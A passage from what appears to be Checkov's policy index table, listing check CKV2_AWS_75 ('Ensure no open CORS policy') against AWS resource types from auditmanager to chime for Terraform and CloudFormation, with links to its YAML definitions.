[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2743 | CKV2_AWS_75 | resource | aws_auditmanager_framework | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2744 | CKV2_AWS_75 | resource | aws_auditmanager_framework | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2745 | CKV2_AWS_75 | resource | aws_auditmanager_framework_share | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2746 | CKV2_AWS_75 | resource | aws_auditmanager_framework_share | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2747 | CKV2_AWS_75 | resource | aws_auditmanager_organization_admin_account_registration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2748 | CKV2_AWS_75 | resource | aws_auditmanager_organization_admin_account_registration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2749 | CKV2_AWS_75 | resource | aws_autoscaling_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2750 | CKV2_AWS_75 | resource | aws_autoscaling_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2751 | CKV2_AWS_75 | resource | aws_autoscaling_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2752 | CKV2_AWS_75 | resource | aws_autoscaling_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2753 | CKV2_AWS_75 | resource | aws_autoscaling_group_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2754 | CKV2_AWS_75 | resource | aws_autoscaling_group_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2755 | CKV2_AWS_75 | resource | aws_autoscaling_lifecycle_hook | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2756 | CKV2_AWS_75 | resource | aws_autoscaling_lifecycle_hook | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2757 | CKV2_AWS_75 | resource | aws_autoscaling_notification | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2758 | CKV2_AWS_75 | resource | aws_autoscaling_notification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2759 | CKV2_AWS_75 | resource | aws_autoscaling_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2760 | CKV2_AWS_75 | resource | aws_autoscaling_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2761 | CKV2_AWS_75 | resource | aws_autoscaling_schedule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2762 | CKV2_AWS_75 | resource | aws_autoscaling_schedule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2763 | CKV2_AWS_75 | resource | aws_autoscaling_traffic_source_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2764 | CKV2_AWS_75 | resource | aws_autoscaling_traffic_source_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2765 | CKV2_AWS_75 | resource | aws_autoscalingplans_scaling_plan | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2766 | CKV2_AWS_75 | resource | aws_autoscalingplans_scaling_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2767 | CKV2_AWS_75 | resource | aws_az_info | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2768 | CKV2_AWS_75 | resource | aws_az_info | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2769 | CKV2_AWS_75 | resource | aws_backup_framework | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2770 | CKV2_AWS_75 | resource | aws_backup_framework | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2771 | CKV2_AWS_75 | resource | aws_backup_global_settings | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2772 | CKV2_AWS_75 | resource | aws_backup_global_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2773 | CKV2_AWS_75 | resource | aws_backup_logically_air_gapped_vault | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2774 | CKV2_AWS_75 | resource | aws_backup_logically_air_gapped_vault | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2775 | CKV2_AWS_75 | resource | aws_backup_plan | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2776 | CKV2_AWS_75 | resource | aws_backup_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2777 | CKV2_AWS_75 | resource | aws_backup_region_settings | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2778 | CKV2_AWS_75 | resource | aws_backup_region_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2779 | CKV2_AWS_75 | resource | aws_backup_report_plan | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2780 | CKV2_AWS_75 | resource | aws_backup_report_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2781 | CKV2_AWS_75 | resource | aws_backup_restore_testing_plan | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2782 | CKV2_AWS_75 | resource | aws_backup_restore_testing_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2783 | CKV2_AWS_75 | resource | aws_backup_restore_testing_selection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2784 | CKV2_AWS_75 | resource | aws_backup_restore_testing_selection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2785 | CKV2_AWS_75 | resource | aws_backup_selection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2786 | CKV2_AWS_75 | resource | aws_backup_selection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2787 | CKV2_AWS_75 | resource | aws_backup_vault | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2788 | CKV2_AWS_75 | resource | aws_backup_vault | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2789 | CKV2_AWS_75 | resource | aws_backup_vault_lock_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2790 | CKV2_AWS_75 | resource | aws_backup_vault_lock_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2791 | CKV2_AWS_75 | resource | aws_backup_vault_notifications | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2792 | CKV2_AWS_75 | resource | aws_backup_vault_notifications | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2793 | CKV2_AWS_75 | resource | aws_backup_vault_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2794 | CKV2_AWS_75 | resource | aws_backup_vault_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2795 | CKV2_AWS_75 | resource | aws_batch_compute_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2796 | CKV2_AWS_75 | resource | aws_batch_compute_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2797 | CKV2_AWS_75 | resource | aws_batch_job_definition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2798 | CKV2_AWS_75 | resource | aws_batch_job_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2799 | CKV2_AWS_75 | resource | aws_batch_job_queue | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2800 | CKV2_AWS_75 | resource | aws_batch_job_queue | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2801 | CKV2_AWS_75 | resource | aws_batch_scheduling_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2802 | CKV2_AWS_75 | resource | aws_batch_scheduling_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2803 | CKV2_AWS_75 | resource | aws_bcmdataexports_export | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2804 | CKV2_AWS_75 | resource | aws_bcmdataexports_export | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2805 | CKV2_AWS_75 | resource | aws_bedrock_custom_model | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2806 | CKV2_AWS_75 | resource | aws_bedrock_custom_model | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2807 | CKV2_AWS_75 | resource | aws_bedrock_guardrail | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2808 | CKV2_AWS_75 | resource | aws_bedrock_guardrail | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2809 | CKV2_AWS_75 | resource | aws_bedrock_guardrail_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2810 | CKV2_AWS_75 | resource | aws_bedrock_guardrail_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2811 | CKV2_AWS_75 | resource | aws_bedrock_inference_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2812 | CKV2_AWS_75 | resource | aws_bedrock_inference_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2813 | CKV2_AWS_75 | resource | aws_bedrock_model_invocation_logging_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2814 | CKV2_AWS_75 | resource | aws_bedrock_model_invocation_logging_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2815 | CKV2_AWS_75 | resource | aws_bedrock_provisioned_model_throughput | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2816 | CKV2_AWS_75 | resource | aws_bedrock_provisioned_model_throughput | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2817 | CKV2_AWS_75 | resource | aws_bedrockagent_agent | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2818 | CKV2_AWS_75 | resource | aws_bedrockagent_agent | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2819 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_action_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2820 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_action_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2821 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2822 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2823 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_collaborator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2824 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_collaborator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2825 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_knowledge_base_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2826 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_knowledge_base_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2827 | CKV2_AWS_75 | resource | aws_bedrockagent_data_source | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2828 | CKV2_AWS_75 | resource | aws_bedrockagent_data_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2829 | CKV2_AWS_75 | resource | aws_bedrockagent_knowledge_base | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2830 | CKV2_AWS_75 | resource | aws_bedrockagent_knowledge_base | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2831 | CKV2_AWS_75 | resource | aws_budgets_budget | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2832 | CKV2_AWS_75 | resource | aws_budgets_budget | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2833 | CKV2_AWS_75 | resource | aws_budgets_budget_action | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2834 | CKV2_AWS_75 | resource | aws_budgets_budget_action | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2835 | CKV2_AWS_75 | resource | aws_caller_info | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2836 | CKV2_AWS_75 | resource | aws_caller_info | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2837 | CKV2_AWS_75 | resource | aws_ce_anomaly_monitor | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2838 | CKV2_AWS_75 | resource | aws_ce_anomaly_monitor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2839 | CKV2_AWS_75 | resource | aws_ce_anomaly_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2840 | CKV2_AWS_75 | resource | aws_ce_anomaly_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2841 | CKV2_AWS_75 | resource | aws_ce_cost_allocation_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2842 | CKV2_AWS_75 | resource | aws_ce_cost_allocation_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2843 | CKV2_AWS_75 | resource | aws_ce_cost_category | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2844 | CKV2_AWS_75 | resource | aws_ce_cost_category | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2845 | CKV2_AWS_75 | resource | aws_chatbot_slack_channel_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2846 | CKV2_AWS_75 | resource | aws_chatbot_slack_channel_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2847 | CKV2_AWS_75 | resource | aws_chatbot_teams_channel_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2848 | CKV2_AWS_75 | resource | aws_chatbot_teams_channel_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2849 | CKV2_AWS_75 | resource | aws_chime_voice_connector | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2850 | CKV2_AWS_75 | resource | aws_chime_voice_connector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2851 | CKV2_AWS_75 | resource | aws_chime_voice_connector_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2852 | CKV2_AWS_75 | resource | aws_chime_voice_connector_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2853 | CKV2_AWS_75 | resource | 